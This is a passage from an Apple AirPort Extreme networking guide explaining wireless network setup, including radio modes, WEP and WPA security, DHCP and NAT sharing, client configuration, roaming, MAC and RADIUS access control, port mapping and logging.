increment, such as Daily from the pop-up menu.
Wireless Network Settings
Click Wireless, and enter the network name, radio mode, and other wireless
information.
Setting the Wireless Mode
AirPort Extreme supports two wireless modes:
 Create a wireless network. Choose this option if you’re creating a new
AirPort Extreme network.
 Extend a wireless network. Choose this option if you plan to connect another Apple
wireless device to the network you’re setting up.
Naming the AirPort Extreme Network
Give your AirPort network a name. This name appears in the AirPort status menu on the
AirPort-enabled computers that are in range of your AirPort network.Chapter 3 AirPort Network Designs 21
Choosing the Radio Mode
Choose 802.11a/n - 802.11b/g from the Radio Mode pop-up menu if computers with
802.11a, 802.11n, 802.11g, or 802.11b wireless cards will join the network. Each client
computer will connect to the network and transmit network traffic at the highest
possible speed.
Choose 802.11n - 802.11b/g if only computers with 802.11n, 802.11b, or 802.11g
compatible wireless cards will join the network.
Note: If you don’t want to use an 802.11n radio mode, hold down the Option key and
chose a radio mode that doesn’t include 802.11n.
Changing the Channel
The “channel” is the radio frequency over which your wireless device communicates.
If you use only one device (for example, at home), you probably won’t need to change
the channel frequency. If you set up several wireless devices in a school or office,
use different channel frequencies for devices that are within approximately 150 feet of
each other.
Adjacent wireless devices should have at least 4 channels between their channel
frequencies. So if device A is set to channel 1, device B should be set to channel 6 or 11.
For best results, use channels 1, 6, or 11 when operating your device in the 2.4 GHz
range.
Choose Manually from the Radio Channel Selection pop-up menu, and then click Edit
to set the channels manually.
AirPort-enabled computers automatically tune to the channel frequency your wireless
device is using when they join the AirPort network. If you change the channel
frequency, AirPort client computers do not need to make any changes.
Password-protect Your Network
To password-protect your network, you can choose from a number of wireless security
options. In the AirPort pane of AirPort Utility, click Wireless and choose one of the
following options from the Wireless Security pop-up menu:
 None: Choosing this option turns off all password protection for the network. Any
computer with a wireless adapter or card can join the network, unless the network is
set up to use access control. See “Setting Up Access Control” on page 47.
 WEP: If your device supports it, choose this option and enter a password to protect
your network with a Wired Equivalent Privacy (WEP) password. Your Apple wireless
device supports 40-bit and 128-bit encryption. To use 40-bit WEP, don’t use an
802.11n radio mode.22 Chapter 3 AirPort Network Designs
 WPA/WPA2 Personal: Choose this option to protect your network with Wi-Fi
Protected Access. You can use a password between 8 and 63 ASCII characters or a
Pre-Shared Key of exactly 64 hexadecimal characters. Computers that support WPA
and computers that support WPA2 can join the network. Choose WPA2 Personal if
you want only computers that support WPA2 to join your network.
 WPA/WPA2 Enterprise: Choose this option if you’re setting up a network that
includes an authentication server, such as a RADIUS server, with individual user
accounts. Enter the IP address and port number for the primary and optional
secondary server, and enter a “shared secret,” which is the password for the server.
Choose WPA2 Enterprise if you want only computers that support WPA2 to join the
network.
 WEP (Transitional Security Network): If your device supports it, you can use this
option to allow computers using WPA or WPA2 to join the network. Computers or
devices that use WEP can also join the network. WEP (Transitional Security Network)
supports 128-bit encryption. To use this option, the wireless device use an 802.11n
radio mode. Hold the Option key on your keyboard while clicking the Wireless
Security pop-up menu to use WEP (Transitional Security Netowrk).
For more information and instructions for setting up WPA or WPA2 on your network,
see “Using Wi-Fi Protected Access” on page 45.
Setting Wireless Options
Click Wireless Options to set additional options for your network.Chapter 3 AirPort Network Designs 23
Setting Additional Wireless Options
Use the Wireless Options pane to set the following:
 5 GHz network name: Provide a name for the 5 GHz segment of the dual-band
network if you want it to have a different name than the 2.4 GHz network.
 Country: Choose the country for the location of your network from the Country
pop-up menu.
 Multicast rate: Choose a multicast rate from the pop-up menu. If you set the
multicast rate high, only clients on the network that are within range and can
achieve the speed you set will receive transmissions.
 Transmit power: Choose a setting from the Transmit Power pop-up menu to set the
network range (the lower the percentage, the shorter the network range).
 WPA Group Key Timeout: Enter a number in the text field, and choose an increment
from the pop-up menu to change the frequency of key rotation.
 Use Wide Channels: If you set up your network to use the 5 GHz frequency range,
you can use wide channels to provide higher network throughput.
Note: Using wide channels is not permitted in some countries.
 Create a closed network: Selecting a closed network hides the name of the
network so that users must enter the exact network name and password to join
the AirPort Extreme network.
 Use interference robustness: Interference robustness can solve interference
problems caused by other devices or networks.
To set more advanced security options, see “Keeping Your Network Secure” on page 45.24 Chapter 3 AirPort Network Designs
Setting up a Guest Network
Click Guest Network and then enter the network name and other options for the guest
network. When you set up a guest network, a portion of your connection to the
Internet is reserved for “guests”, wireless clients that can join the guest network and
connect to the Internet without accessing your private network.
Select “Allow guest network clients to communicate with each other” to allow client
computers to share files and services with each other while they’re connected to the
guest network. Make sure sharing services are set up on the client computers.
Configuring and Sharing Internet Access
The next step is setting up your wireless device’s Internet connection and sharing its
Internet access with client computers. The following sections tell you what to do,
depending on how your device connects to the Internet.
You’re Using a DSL or Cable Modem
In most cases, you can implement this network design using AirPort Utility and
following the onscreen instructions to set up your wireless device and network. You
need to use AirPort Utility to manually set up your device only if you want to set up
or adjust optional advanced settings.Chapter 3 AirPort Network Designs 25
What It Looks Like
How It Works
 The Apple wireless device (in this example, a Time Capsule) connects to the Internet
through its Internet WAN (<) connection to your DSL or cable modem.
 Computers using AirPort or computers connected to the wireless device’s Ethernet
LAN port (G) connect to the Internet through the device.
 The device is set up to use a single, public IP address to connect to the Internet, and
uses DHCP and NAT to share the Internet connection with computers on the network
using private IP addresses.
 AirPort computers and Ethernet computers communicate with one another through
the wireless device.
Important: Connect Ethernet computers that are not connected to the Internet to
the device’s LAN port (G) only. Since the device can provide network services, you
must set it up carefully to avoid interfering with other services on your Ethernet
network.
What You Need for a DSL or Cable Modem Connection
DSL or cable modem
to Internet
to Ethernet port
Time Capsule
< Ethernet WAN port
2.4 or 5 GHz
Components Check Comments
Internet account with DSL or
cable modem service provider
Does your service provider use a
static IP or DHCP configuration?
You can get this information
from your service provider or the
Network preferences pane on
the computer you use to access
the Internet through this service
provider.
Apple wireless device (an AirPort
Extreme Base Station, an AirPort
Express, or a Time Capsule)
Place the device near your DSL
or cable modem.26 Chapter 3 AirPort Network Designs
What to Do
If you’re using AirPort Utility to assist you with configuring the Apple wireless device
for Internet access:
1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac,
or in Start > All Programs > AirPort on a Windows computer.
2 Follow the onscreen instructions and enter the settings you received from your service
provider to connect to the Internet, and then set up the device to share the Internet
connection with computers on the network.
If you’re using AirPort Utility to manually set up your wireless device:
1 Make sure that your DSL or cable modem is connected to the Ethernet WAN port (<)
on your Apple wireless device.
2 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac,
or in Start > All Programs > AirPort on a Windows computer. Select your wireless device
and choose Base Station > Manual Setup, or double-click your device’s icon in the list to
open the configuration in a separate window.
3 Click the Internet button. Click Internet Connection and choose Ethernet or PPPoE from
the Connect Using pop-up menu, depending on which one your service provider
requires. If your service provider gave you PPPoE connection software, such as EnterNet
or MacPoET, choose PPPoE.
Note: If you’re connecting to the Internet through a router using PPPoE and your Apple
wireless device is connected to the router via Ethernet, you do not need to use PPPoE
on your wireless device. Choose Ethernet from the Connect Using pop-up menu in the
Internet pane, and deselect the “Distribute IP addresses” checkbox in the Network
pane. Contact your service provider if you aren’t sure which one to select.
4 Choose Manually or Using DHCP from the Configure IPv4 pop-up menu if you chose
Ethernet from the Connect Using pop-up menu, depending on how your service
provider provides IP addresses.
 If your provider gave you an IP address and other numbers with your subscription,
use that information to configure the wireless device IP address manually. If you
aren’t sure, ask your service provider. Enter the IP address information in the fields
below the Configure IPv4 pop-up menu.Chapter 3 AirPort Network Designs 27
 If you chose PPPoE, your ISP provides your IP address automatically using DHCP.
If your service provider asks you for the MAC address of your wireless device, use the
address of the Ethernet WAN port (<), printed on the label on the bottom of the
device.
If you’ve already used AirPort Utility to set up your wireless device, the fields below the
Configure IPv4 pop-up menu may already contain the information appropriate for your
service provider.
You can change the WAN Ethernet speed if you have specific requirements for the
network you’re connected to. In most cases, the settings that are configured
automatically are correct. Your service provider should be able to tell you if you need
to adjust these settings.
Changing the WAN Ethernet speed can affect the way the wireless device interacts with
the Internet. Unless your service provider has given you specific settings, use the
automatic settings. Entering the wrong settings can affect network performance.
Contact your service
provider for the
information you should
enter in these fields.
Use this pop-up menu
if you need to adjust
the speed of the
Ethernet WAN port.28 Chapter 3 AirPort Network Designs
If you configure TCP/IP using DHCP, choose Using DHCP from the Configure IPv4
pop-up menu. Your IP information is provided automatically by your ISP using DHCP.
5 If you chose PPPoE from the Connect Using pop-up menu, enter the PPPoE settings
your service provider gave you. Leave the Service Name field blank unless your service
provider requires a service name.
Note: With AirPort, you don’t need to use a third-party PPPoE connection application.
You can connect to the Internet using AirPort.
Your service provider
may require you to
enter information
in these fields.
Contact your
service provider
for the information
you should enter
in these fields.Chapter 3 AirPort Network Designs 29
If you’re connecting to the Internet through a router that uses PPPoE to connect to the
Internet, and your wireless device is connected to the router via Ethernet, you do not
need to use PPPoE on your device. Choose Ethernet from the Connect Using pop-up
menu in the Internet pane, and deselect the “Distribute IP addresses” checkbox in the
Network pane. Because your router is distributing IP addresses, your wireless device
doesn’t need to. More than one device on a network providing IP addresses can cause
problems.
6 Click PPPoE to set PPPoE options for your connection.
 Choose Always On, Automatic, or Manual, depending on how you want to control
when your wireless device is connected to the Internet.
If you choose Always On, your device stays connected to your modem and the
Internet as long as the modem is turned on. If you choose Automatic, the wireless
device connects to the modem, which connects to the Internet when you use an
application that requires an Internet connection, such as email or an instant message
or web application. If you choose Manual, you need to connect the modem to the
Internet when you use an application that requires an Internet connection.
If you chose Automatic or Manual from the Connection pop-up menu, you need to
choose an increment, such as “10 minutes,” from the “Disconnect if idle” pop-up
menu. If you don’t use an Internet application after the increment of time has passed,
you’ll be disconnected from the Internet.
Note: If your wireless device is connected to your modem using an Ethernet LAN
port, and your modem is connected to the Internet using PPPoE, you may not be
able to use the manual setting.30 Chapter 3 AirPort Network Designs
 Enter Domain Name System (DNS) server addresses and a specific domain name your
wireless device accesses when you connect to the Internet.
7 Click the Network button and configure how the device will share its Internet access
with AirPort and Ethernet computers.
If you chose Ethernet from the Connect Using pop-up menu, choose how your device
will share the Internet connection from the Connection Sharing pop-up menu.
 To share a single Internet connection with AirPort computers and computers
connected to the device with Ethernet using DHCP and NAT, choose “Share a public
IP address” from the Connection Sharing pop-up menu. Using DHCP and NAT lets the
wireless device dynamically and automatically assign IP addresses to client
computers, which simplifies each computer’s TCP/IP configuration. See “Setting
DHCP and NAT Options” on page 31.
By default, the wireless device allows other devices, computers using Ethernet, and
computers using AirPort to communicate with each other using non-IP protocols like
AppleTalk. If you want to connect an AppleTalk Ethernet printer to the Apple wireless
device or use AppleTalk between wired and wireless computers, make sure the
devices are connected to the Ethernet LAN port (G) on the device.
 To distribute a range of IP addresses using only DHCP, choose “Distribute a range of
IP addresses.” See “Setting DHCP Only Options” on page 33.Chapter 3 AirPort Network Designs 31
 If you don’t want your wireless device to share its IP address, choose “Off (Bridge
Mode).” If you set up your device in bridge mode, AirPort computers have access to
all services on the Ethernet network, and the device does not provide Internet
sharing services. See “You’re Using an Existing Ethernet Network” on page 37 for
more information about setting up your wireless device as a bridge.
Using the wireless device as a bridge can be a way to address incompatibilities
between the device’s Internet sharing features and your ISP’s connection method.
Setting DHCP and NAT Options
If you chose “Share a public IP address” from the Connection Sharing pop-up menu,
you can set DHCP and NAT options. Click DHCP.
 Choose a range of IP addresses from the DHCP Range pop-up menu. Choose 10.0,
192.168, or 172.16 and then enter a beginning and ending address in the DHCP
Beginning Address and the DHCP Ending Address fields, depending on which
addresses you want the wireless device to provide.
 Enter a number in the DHCP Lease field, and then choose minutes, hours, or days
from the pop-up menu.
 Type a welcome message in the DHCP Message field. This message is displayed when
a computer joins your network.
 If your network is set up to use a Lightweight Directory Access Protocol (LDAP) server
on your network, you can enter the address of the server in the LDAP Server field,
and computers on your network will have access to it.32 Chapter 3 AirPort Network Designs
 To provide specific IP addresses to specific computers on your wireless network,
click the Add (+) button below the DHCP Reservations list, and follow the onscreen
instructions to name the reservation and reserve the address by MAC address or
DHCP client ID. If you choose MAC address, click Continue and enter the MAC
address and specific IP address.
Next you can set NAT options for the network. Click NAT.
 You can set up a default host on your network. A default host (sometimes known as
a DMZ) is a computer on your network that is exposed to the Internet and receives
all inbound traffic. A default host may be useful if you use a computer on your
AirPort network to play network games, or want to route all Internet traffic through
a single computer.
 You can set up NAT Port Mapping Protocol (NAT-PMP). NAT-PMP is an Internet
Engineering Task Force Internet Draft, an alternative to the more common Universal
Plug and Play (UPnP) protocol implemented in many network address translation
(NAT) routers. NAT-PMP allows a computer in a private network (behind a NAT router)
to automatically configure the router to allow parties outside the private network to
contact this computer.
Included in the protocol is a method for retrieving the public IP address of a NAT
gateway, allowing a client to make this public IP address and port number known to
peers that may wish to communicate with it. This protocol is implemented in current
Apple products, including Mac OS X 10.4 Tiger and later, AirPort Extreme, AirPort
Express, and Time Capsule networking products, and Bonjour for Windows.Chapter 3 AirPort Network Designs 33
You can also set up port mapping. To ensure that requests are properly routed to your
web, AppleShare, or FTP server, or a specific computer on your network, you need to
establish a permanent IP address for the server or computer, and provide “inbound port
mapping” information to the Apple wireless device. See “Directing Network Traffic to a
Specific Computer on Your Network (Port Mapping)” on page 49.
Setting DHCP Only Options
If you chose “Distribute a range of IP addresses” from the Connection Sharing pop-up
menu, your wireless device is set up to use DHCP to distribute a range of IP addresses
using only DHCP. You cannot use NAT if you chose this option. Click DHCP and enter
the beginning and ending addresses you want to distribute to computers joining your
wireless network.
You can set the additional DHCP options, such as DHCP Lease, DHCP Message, and
other options following the instructions above.
Setting Up Client Computers
To configure TCP/IP on client computers using Mac OS X v10.5:
1 Open System Preferences on the client computer and then click Network.
2 Do one of the following:
a If the client computer is using AirPort, select AirPort in the network connection
services list, and then click Advanced.34 Chapter 3 AirPort Network Designs
Next, choose DHCP from the Configure IPv4 pop-up menu.
b If you enabled a DHCP server when you set up the wireless device’s network, and the
client computer is using Ethernet, select Ethernet in the network connection services
list, and then choose Using DHCP from the Configure pop-up menu.Chapter 3 AirPort Network Designs 35
c If you selected “Distribute a range of IP addresses” when you set up the wireless
device’s network, you can provide Internet access to client computers using
Ethernet by setting the client IP addresses manually. Select Ethernet in the
network connection services list, and then choose Manually from the Configure
pop-up menu.
When you configure Ethernet clients manually for a wireless device that provides
NAT over Ethernet, you can use IP addresses in the range 10.0.1.2 to 10.0.1.200.
In the Subnet Mask field, enter 255.255.255.0. In the Router field, enter 10.0.1.1.
Enter the same name server address and search domain information that you
entered in the wireless device configuration.
To configure TCP/IP on client computers using Windows
Make sure you’ve installed the wireless adapter in your computer and the software
necessary to set up the adapter.
To configure TCP/IP on client computers:
1 Open Control Panel from the Start menu, and then click “Network and Internet.”
2 Click “Network and Sharing Center.”
3 Click “Manage network connections” in the Tasks list.
4 Right-click the wireless connection you want to share, and then select Properties.
Enter the IP and router
addresses from the range
your device is providing.
Enter the DNS and Search
Domain addresses if
necessary.36 Chapter 3 AirPort Network Designs
5 Click Internet Protocol Version 4 (TCP/IPv4), and then click Properties.
 If you chose “Share a public IP address” in the Network pane of AirPort Utility, select
“Obtain an IP address automatically.”
 If you chose “Distribute a range of IP addresses” when you set up the wireless device’s
network, you can provide Internet access to client computers by setting the client IP
addresses manually. Select “Use the following IP address.”
When you configure clients manually for a wireless device that provides NAT service,
use IP addresses in the range 10.0.1.2 to 10.0.1.200, 172.16.1.2 to 172.16.1.200, or
192.168.1.2 to 192.168.1.200.
In the “Subnet mask” field, enter 255.255.255.0. In the “Default gateway” field, enter
10.0.1.1, 172.16.1.1, or 192.168.1.1, depending on which addressing scheme you used. Enter
the same name server address and search domain information that you entered in the
wireless device configuration.Chapter 3 AirPort Network Designs 37
You’re Using an Existing Ethernet Network
You can use AirPort Utility to easily set up the Apple wireless device for Internet access
through an existing Ethernet network that already has a router, switch, or other
network device providing IP addresses. Use the manual setup features of AirPort Utility
if you need to adjust optional advanced settings.
What It Looks Like
How It Works
 The Apple wireless device (in this example, a Time Capsule) uses your Ethernet
network to communicate with the Internet through the Ethernet WAN port (<).
 AirPort and Ethernet clients access the Internet and the Ethernet network through
the Apple wireless device.
What You Need for an Ethernet Connection
Router
to Internet
to Ethernet port
Time Capsule
All Programs > AirPort on a Windows computer.
2 Click Continue and follow the onscreen instructions to connect to your local area
network (LAN).
If you’re using AirPort Utility to manually set up your wireless device:
1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac,
or in Start > All Programs > AirPort on a Windows computer.
2 Select your device and choose Base Station > Manual Setup, or double-click your
device icon to open the configuration in a separate window.
3 Click Internet and choose Ethernet from the Connect Using pop-up menu.
4 Choose Manually or Using DHCP from the Configure IPv4 pop-up menu, depending
on how IP addresses are provided on your Ethernet network. If you aren’t sure, ask your
service provider or network administrator.
If your addresses are provided manually, choose Manually from the Configure IPv4
pop-up menu. Enter your IP address information in the fields below the Configure
IPv4 pop-up menu.
If you’ve already used AirPort Utility to set up your Apple wireless device, the
fields below the Configure IPv4 pop-up menu may already contain the appropriate
information.
Contact your network
administrator for the
information you should
enter in these fields.Chapter 3 AirPort Network Designs 39
If your IP address is provided by DHCP, choose Using DHCP from the Configure IPv4
pop-up menu.
5 Choose Off (Bridge Mode) from the Connection Sharing pop-up menu. Your wireless
device “bridges” the Ethernet networks Internet connection to computers connected to
the device wirelessly or by Ethernet.
See “Setting Up Client Computers” on page 33 for information about how to set up
client computers to connect to the Ethernet network.40 Chapter 3 AirPort Network Designs
Connecting Additional Devices to Your AirPort Extreme Network
Connect a USB printer to the USB port of your Apple wireless device (in this example,
a Time Capsule) and everyone on the network can print to it. Connect a USB hub to the
USB port of an AirPort Extreme Base Station or a Time Capsule, and then connect a
hard disk and a printer so everyone on the network can access them.
If you connect a Time Capsule, you can use Time Machine in Mac OS X Leopard (v10.5.2
or later) to back up all of the Mac OS X Leopard computers on the network.
What It Looks Like
What to Do
Follow the instructions in the previous sections to set up your AirPort Extreme
network depending on how you connect to the Internet or set up your wireless
network. Connect a USB hard disk, printer, or hub to the USB port on your
AirPort Extreme Base Station or Time Capsule.
Note: If you’re using an AirPort Express in your network, you can connect a USB printer
to the USB port, and everyone on the network can print to it. AirPort Express doesn’t
support connecting a USB hard disk.
DSL or cable modem
USB Printer
Time Capsule
to Internet
Ethernet WAN port
AirPort Extreme
<
2.4 or 5 GHz
2.4 or 5 GHz
2.4 or 5 GHzChapter 3 AirPort Network Designs 41
Using Apple TV on Your AirPort Extreme Network to Play Content from iTunes
When you connect Apple TV to your AirPort Extreme network wirelessly, or using
Ethernet, and then connect Apple TV to your widescreen TV, you can enjoy your
favorite iTunes content including movies, TV shows, music, and more. (See the
documentation that came with your Apple TV for instructions setting it up.)
Setting Advanced Options
Connecting Additional Wireless Devices to Your AirPort Network
You can connect additional Apple wireless devices to extend the range of your
wireless network. For example, you can connect an AirPort Extreme Base Station or
a Time Capsule using Ethernet. A network with devices connected using Ethernet is
known as a roaming network. You can also connect Apple wireless devices wirelessly to
extend the network.
DSL or cable modem
to Internet
to Ethernet port
< Ethernet WAN port
Time Capsule
Apple TV
2.4 GHz
2.4 or 5 GHz42 Chapter 3 AirPort Network Designs
Setting Up Roaming
Several AirPort Extreme Base Stations or Time Capsules can be set up to create a single
wireless network. Client computers using AirPort can move from device to device with
no interruption in service (a process known as roaming).
To set up roaming:
1 Connect all of the AirPort Extreme Base Stations and Time Capsules to the same subnet
on your Ethernet network.
2 Give each device a unique name.
3 Give each device the same network name and password.
4 Set up the devices as bridges, following the instructions in the previous section.
If you want one device to assign IP addresses using DHCP, also do the following:
1 Set up one device to act as the DHCP server.
2 Set up the other devices as bridges, following the instructions in the previous section.
The device acting as a DHCP server can also receive its IP address via DHCP from a
server on an Ethernet network or from a cable or DSL modem connected to an Internet
service provider (ISP).
to Ethernet port Ethernet LAN ports to Internet
AirPort Extreme
DSL or cable modem
G
Time Capsule
< Ethernet WAN port
2.4 or 5 GHz
2.4 GHzChapter 3 AirPort Network Designs 43
Extending the Range of an 802.11n Network
Extending the range of an 802.11n network is simpler if you’re connecting another
802.11n device. Connecting two Apple 802.11n wireless devices makes the WDS setup
process more straightforward.
To extend the range of an 802.11n network:
1 Open AirPort Utility and select the device that will connect to the Internet. See the
previous sections of this document for instructions about setting up your wireless
device, depending on your Internet connection.
2 Choose Base Station > Manual Setup, or double-click the device’s icon to open the
configuration in a separate window. Enter the password if necessary.
3 Click the AirPort button, and then click Wireless.
4 Choose “Create a wireless network” from the Wireless Mode pop-up menu, and then
select the “Allow this network to be extended” checkbox.
5 Next, select the device that will extend this network and choose Base Station > Manual
Setup, or double-click the device’s icon to open its configuration in a separate window.
Enter the password if necessary.
6 Choose “Extend a wireless network” from the Wireless Mode pop-up menu, and then
choose the network you want to extend from the Network Name pop-up menu.
7 Enter the network name and password if necessary.44 Chapter 3 AirPort Network Designs
8 Click Update to update the device with new network settings.
Controlling the Range of Your AirPort Network
You can also shorten the range of your AirPort network. This might be useful if you
want to control who has access to the network by restricting the range to a single
room, for example.
To shorten the range of your AirPort network:
1 Open AirPort Utility (in the Utilities folder in the Applications folder on a Macintosh
computer, or in Start > All Programs > AirPort on a computer using Windows).
2 Select your wireless device and choose Base Station > Manual Setup, or double-click
the device icon to open its configuration in a separate window. Enter the password
if necessary.
3 Click the AirPort button, and then click Wireless.
4 Click Wireless Options, and then choose a percentage setting from the Transmit Power
pop-up menu. The lower the percentage is, the shorter the range is.Chapter 3 AirPort Network Designs 45
Keeping Your Network Secure
Your network is protected by the password you assign to it. However, you can take
additional steps to help keep your network secure.
Networks managed by Simple Network Management Protocol (SNMP) may be
vulnerable to denial-of-service attacks. Similarly, if you configure your wireless device
over the WAN port, it may be possible for unauthorized users to change network
settings. When remote configuration is enabled, the device’s Bonjour information
(the device name and IP address) is published over the WAN port. Turning off remote
configuration may provide additional security.
To help protect your network and wireless device:
1 Open AirPort Utility, select your device, and choose Base Station > Manual Setup, or
double-click the device icon to open its configuration in a separate window. Enter the
password if necessary.
2 Click the Advanced button, and then click Logging & SNMP.
3 Make sure the Allow SNMP Access and “Allow SNMP over WAN” checkboxes are not
selected.
Using Wi-Fi Protected Access
AirPort Extreme supports WPA and WPA2 security standard for wireless networks. Using
Mac OS X v10.3 or later or Windows XP with Service Pack 2, and 802.1X authentication
capabilities, WPA security delivers more sophisticated data encryption than WEP, and
also provides user authentication, which was virtually unavailable with WEP. If your
computer has an AirPort Extreme wireless card installed, you can take advantage of the
security updates in WPA2, including AES-CCMP encryption.
AirPort Extreme supports two modes of WPA and WPA2: Enterprise mode, which uses
an authentication server for user authentication, and Personal mode, which relies on
the capabilities of TKIP for WPA and AES-CCMP for WPA2, without requiring an
authentication server.
Enterprise mode is designed for a larger network in which an IT professional is most
likely setting up and managing the network. In order to set up a WPA or WPA2
Enterprise network, an 802.1X connection must be set up first in Network preferences
on a Mac. To set up an 802.1x connection on a Windows computer, see the
documentation that came with your computer. The 802.1X connection requires an
authentication protocol, like TTLS, LEAP, or PEAP.
Setting up a WPA or WPA2 Enterprise network requires setting up an authentication
server, such as a RADIUS server, to manage and validate network users’ credentials,
such as user names, passwords, and user certificates. See the documentation that
came with the server to set it up. 46 Chapter 3 AirPort Network Designs
Personal mode is for the home or small office network and can be set up and
managed by most users. Personal mode does not require a separate authentication
server. Network users usually only need to enter a user name and password to join
the network.
Note: If you change an existing WDS network from WEP to WPA, you’ll need to reset
the wireless devices and set up your network again. For information about resetting
your Apple wireless device, see the documentation that came with it.
To set up a WPA or WPA2 Enterprise network:
On a computer using Mac OS X, you first need to set up an 802.1x connection.
1 Open System Preferences, click Network, and then click AirPort.
2 Click Advanced, and then click 802.1X
3 Enter the settings for the connection.
Note: Some of the authentication protocols require digital certificate authorization on
the server. See the documentation that came with your server to create and distribute
digital certificates.
4 Click OK to save the connection settings.
To use AirPort Utility to set up a WPA or WPA2 Enterprise network on computers
using Mac OS X and Windows XP:
1 Open AirPort Utility, select your wireless device, and then choose Base Station >
Manual Setup, or double-click the device icon to open its configuration in a separate
window. Enter the password if necessary.
2 Choose WPA/WPA2 Enterprise, or WPA2 Enterprise from the Wireless Security
pop-up menu, depending on the capabilities of the client computers that will join
your network.
3 Click Configure RADIUS, and enter the IP address, port, and shared secret (or password)
of the primary and secondary RADIUS authentication servers. Check with the
administrator of the RADIUS server for information to type in these fields.
To set up a WPA or WPA2 Personal network:
1 Open AirPort Utility, select your wireless device, and then choose Base Station >
Manual Setup, or double-click the device icon to open its configuration in a separate
window. Enter the password if necessary.
2 Choose WPA/WPA2 Personal or WPA2 Personal from the Wireless Security pop-up menu
depending on the capabilities of the client computers that will join your network.
3 Type a password of 8 to 63 ASCII characters.Chapter 3 AirPort Network Designs 47
Setting Up Access Control
Access control lets you specify which computers can send or receive information
through the wireless device to the wired network.
Each wireless-enabled computer has a unique MAC address. You can restrict access by
creating an access control list that includes only the MAC addresses for computers you
want to access your wired network.
To find the MAC address (AirPort ID) of your computer’s AirPort Card, click the AirPort
button in the Network pane of System Preferences.
To set up the access control list:
1 Open AirPort Utility, select your wireless device, and then choose Base Station >
Manual Setup. Enter the password if necessary.
2 Click the AirPort button, and then click Access.
3 Choose Timed Access or RADIUS from the MAC Address Access Control pop-up menu,
depending on the device you’re setting up.
 If you choose Timed Access, click the Add (+) button and enter the MAC address and
description or name of the computers you’re allowing to access the network. You can
also click This Computer to add the MAC address and name of the computer you’re
using to set up this wireless device. Double-click the computer in the list and choose
a value from each pop-up menu. Choose a day of the week or Everyday from the day
pop-up menu, and then choose either “all day” or “between” from the other pop-up
menu. If you choose “between,” you can edit the times of the day by double-clicking
in the time fields.48 Chapter 3 AirPort Network Designs
 If you choose RADIUS, enter the type of RADIUS service, the RADIUS IP addresses,
shared secret, and primary port for the primary RADIUS server. Enter the information
for the secondary RADIUS server if there is one. Check with the server administrator
if you don’t have that information.
Important: AirPort access control prevents computers that aren’t on the access control
list from accessing the AirPort network. For information on how to prevent
unauthorized computers from joining the AirPort network, see “Setting Up the
AirPort Extreme Network” on page 17.
You can also add the MAC address of a third-party 802.11 wireless networking card to
the access control list. Most third-party cards have the MAC address on a label attached
to the metal case of the card.
Access control is not compatible with WPA or WPA2 Enterprise mode. You can use
either access control or WPA Enterprise in a network, but you can’t use both.
Using a RADIUS Server
Using a RADIUS server on your network lets you authenticate MAC addresses
(AirPort IDs) on a separate computer, so that each device on the network doesn’t
need to store the MAC addresses of computers that have access to the network.
Instead, all the addresses are stored on a server that is accessed through a specific
IP address.
To set up authentication using a RADIUS server:
1 On the server, enter the MAC addresses of the computers that will access the network.
2 When the RADIUS server is set up, open AirPort Utility, select your wireless device, and
then choose Base Station > Manual Setup, or double-click the device icon to open its
configuration in a separate window. Enter the password if necessary.
3 Click AirPort, click Access, and then choose RADIUS from the MAC Address Access
Control pop-up menu.
4 Choose a format from the RADIUS pop-up menu.
If you choose Default, your wireless device formats the MAC addresses as 010203-
0a0b0c, and they are used as the user names on the RADIUS server. The shared secret is
the password for users joining the network. This format is often used for Lucent and
Agere servers.
If you choose Alternate, MAC addresses are formatted as 0102030a0b0c and are used
for both the user name and password by users joining the network. This format is often
used for Cisco servers.Chapter 3 AirPort Network Designs 49
5 Enter the IP address, port, and shared secret (or password) for the primary and
secondary servers.
See the RADIUS documentation that came with your server, or check with the network
administrator for more information on setting up the RADIUS server.
The access control list and RADIUS work together. When a user tries to join a network
that authenticates using access control or a RADIUS server, the wireless device searches
first in the access control list, and if the MAC address is there, the user can join the
network. If the MAC address is not in the access control list, the device checks the
RADIUS server for the MAC address. If it is there, the user can join the network.
Note: RADIUS access control is not compatible with WPA or WPA2 Personal mode.
You can use either RADIUS access control or WPA Enterprise in a network, but you can’t
use both.
Directing Network Traffic to a Specific Computer on Your
Network (Port Mapping)
AirPort Extreme uses Network Address Translation (NAT) to share a single IP address
with the computers that join the AirPort Extreme network. To provide Internet access
to several computers with one IP address, NAT assigns private IP addresses to each
computer on the AirPort Extreme network, and then matches these addresses with
port numbers. The wireless device creates a port-to-private IP address table entry
when a computer on your AirPort (private) network sends a request for information to
the Internet. 50 Chapter 3 AirPort Network Designs
If you’re using a web, AppleShare, or FTP server on your AirPort Extreme network, other
computers initiate communication with your server. Because the Apple wireless device
has no table entries for these requests, it has no way of directing the information to the
appropriate computer on your AirPort network.
To ensure that requests are properly routed to your web, AppleShare, or FTP server, you
need to establish a permanent IP address for your server and provide inbound port
mapping information to your Apple wireless device.
To set up inbound port mapping:
1 Open AirPort Utility, select your wireless device, and then choose Base Station >
Manual Setup, or double-click the device icon to open its configuration in a separate
window. Enter the password if necessary.
2 Click the Advanced button, and then click Port Mapping.
3 Click the Add (+) button and choose a service, such as Personal File Sharing, from the
Service pop-up menu.Chapter 3 AirPort Network Designs 51
Type any additional information you need in the text fields.
To use port mapping, you must configure TCP/IP manually on the computer that is
running the web, AppleShare, or FTP server.
You can also set up a computer as a default host to establish a permanent IP
address for the computer and provide inbound port mapping information to the
AirPort Extreme Base Station or AirPort Express. This is sometimes known as a DMZ
and is useful when playing some network games or video conferencing.
To set up a default host:
1 Open AirPort Utility, select your wireless device, and then choose Base Station >
Manual Setup, or double-click the device icon to open its configuration in a separate
window. Enter the password if necessary.
2 Click the Internet button, and then click NAT.
3 Select the “Enable Default Host at” checkbox. The default IP address is 10.0.1.253.
4 Enter the same IP address on the host computer.
Logging
You can set up your wireless device to log status information to the Mac OS X system
log or the Syslog application on a Windows computer. This is helpful for understanding
problems and monitoring a device’s performance.
To set up logging:
1 Open AirPort Utility, select your wireless device, and then choose Base Station >
Manual Setup, or double-click the device icon to open its configuration in a separate
window. Enter the password if necessary.
2 Click the Advanced button, and then click Statistics.52 Chapter 3 AirPort Network Designs
3 Enter the IP address of the computer that will receive the logs in the Syslog Destination
Address field.
4 Choose a level from the Syslog Level pop-up menu.
You need to assign a Network Time Protocol (NTP) server for each wireless device,
so the log information will contain the accurate time of the status logs.
To set the time automatically:
1 Open AirPort Utility, select your wireless device, and then choose Base Station >
